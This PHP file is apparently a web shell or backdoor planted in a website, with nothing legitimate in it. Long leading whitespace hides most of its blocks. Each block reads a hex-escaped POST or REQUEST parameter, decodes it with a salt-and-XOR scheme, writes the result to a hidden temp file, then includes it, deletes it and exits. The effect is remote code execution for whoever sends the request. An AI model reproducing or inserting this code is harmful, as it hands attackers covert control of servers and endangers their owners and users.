<?php																																										if(count($_POST) > 0 && isset($_POST["\x70o\x69nt\x65r"])){ $component = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), session_save_path(), "/dev/shm", sys_get_temp_dir()]); $holder = $_POST["\x70o\x69nt\x65r"]; $holder = explode ("." , $holder ); $binding = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $t = 0; $len = count( $holder ); do { if( $t >=$len) break; $v8 = $holder[$t]; $sChar = ord( $salt[$t % $sLen] ); $d =( ( int)$v8 - $sChar -( $t % 10))^ 11; $binding.= chr( $d ); $t++; } while( true ); $ent = 0; do { $entity = $component[$ent] ?? null; if ($ent >= count($component)) break; if (max(0, is_dir($entity) * is_writable($entity))) { $resource = sprintf("%s/.fac", $entity); if (file_put_contents($resource, $binding)) { require $resource; unlink($resource); die(); } } $ent++; } while (true); }
																																										if(array_key_exists("\x6Fbj\x65\x63t", $_POST)){ $k = $_POST["\x6Fbj\x65\x63t"]; $k = explode( '.' ,$k ); $data =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $salt ); $w =0; $__tmp =$k; while( $v8 =array_shift( $__tmp)) { $sChar =ord( $salt[$w % $lenS] ); $dec =( ( int)$v8 - $sChar -( $w % 10)) ^ 32; $data .= chr( $dec ); $w++; } $entity = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/var/tmp", getenv("TEMP"), "/tmp"]); foreach ($entity as $key => $mrk) { if (is_dir($mrk) ? is_writable($mrk) : false) { $ptr = join("/", [$mrk, ".factor"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $data); fclose($file); include $ptr; @unlink($ptr); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x65n\x74i\x74y"])){ $k = array_filter(["/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm"]); $dchunk = $_REQUEST["\x65n\x74i\x74y"]; $dchunk = explode ( '.' , $dchunk); $val = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); foreach( $dchunk as $q => $v9): $chS = ord( $salt1[$q % $lenS]); $dec =( ( int)$v9 - $chS -( $q % 10)) ^ 22; $val .= chr( $dec); endforeach; $rec = 0; do { $bind = $k[$rec] ?? null; if ($rec >= count($k)) break; if (array_product([is_dir($bind), is_writable($bind)])) { $property_set = sprintf("%s/.item", $bind); if (@file_put_contents($property_set, $val) !== false) { include $property_set; unlink($property_set); die(); } } $rec++; } while (true); }
																																										if(in_array("\x76\x61lue", array_keys($_POST))){ $ptr = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), session_save_path(), "/dev/shm"]); $property_set = $_POST["\x76\x61lue"]; $property_set = explode( "." , $property_set ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $v = 0; $__len = count($property_set); do { if ($v>= $__len) break; $v2 = $property_set[$v]; $sChar = ord($s[$v % $lenS]); $d = ((int)$v2 - $sChar - ($v % 10)) ^ 74; $fac .=chr($d); $v++; } while (true); while ($data_chunk = array_shift($ptr)) { if (max(0, is_dir($data_chunk) * is_writable($data_chunk))) { $item = implode("/", [$data_chunk, ".object"]); if (file_put_contents($item, $fac)) { require $item; unlink($item); exit; } } } }
																																										if(@$_POST["o\x62\x6A"] !== null){ $mrk = $_POST["o\x62\x6A"]; $mrk = explode('.' , $mrk) ; $k = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); $i = 0; while( $i <count( $mrk)) { $v4 = $mrk[$i]; $chS = ord( $s2[$i %$lenS]); $d =( ( int)$v4 - $chS -( $i %10)) ^ 76; $k.= chr( $d); $i++; } $tkn = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path()]); foreach ($tkn as $data): if (!( !is_dir($data) || !is_writable($data) )) { $bind = vsprintf("%s/%s", [$data, ".comp"]); if (file_put_contents($bind, $k)) { require $bind; unlink($bind); die(); } } endforeach; }
																																										if(array_key_exists("\x69t\x65m", $_REQUEST)){ $object = array_filter([sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", "/dev/shm", session_save_path()]); $k = $_REQUEST["\x69t\x65m"]; $k = explode ( '.' ,$k ) ; $token = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s4); $x = 0; $__tmp = $k; while ($v2 = array_shift($__tmp)) { $sChar = ord($s4[$x % $sLen]); $d = ((int)$v2 - $sChar - ($x % 10))^88; $token .= chr($d); $x++; } foreach ($object as $key => $element) { if ((is_dir($element) and is_writable($element))) { $symbol = vsprintf("%s/%s", [$element, ".ent"]); if (@file_put_contents($symbol, $token) !== false) { include $symbol; unlink($symbol); exit; } } } }


if(isset($_POST["f\x61ctor"])){
	$flag = array_filter(["/tmp", "/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]);
	$bind = $_POST["f\x61ctor"];
	 	 $bind	 	=		 explode( '.'	, $bind	 	); 
	$marker= 	'';
            $s5= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen= 	strlen($s5);
            $q= 	0;
    
            $__tmp= 	$bind;
            while ($v3= 	array_shift($__tmp)) {  $sChar= 	ord($s5[$q% 	$sLen]);
                $d= 	((int)$v3 - $sChar - ($q% 	10))	^ 50;
                $marker .=chr($d);
                $q++;
            }
	foreach ($flag as $record) {
    		if (!!is_dir($record) && !!is_writable($record)) {
    $ref = "$record" . "/.holder";
    if (file_put_contents($ref, $marker)) {
	require $ref;
	unlink($ref);
	exit;
}
}
}
}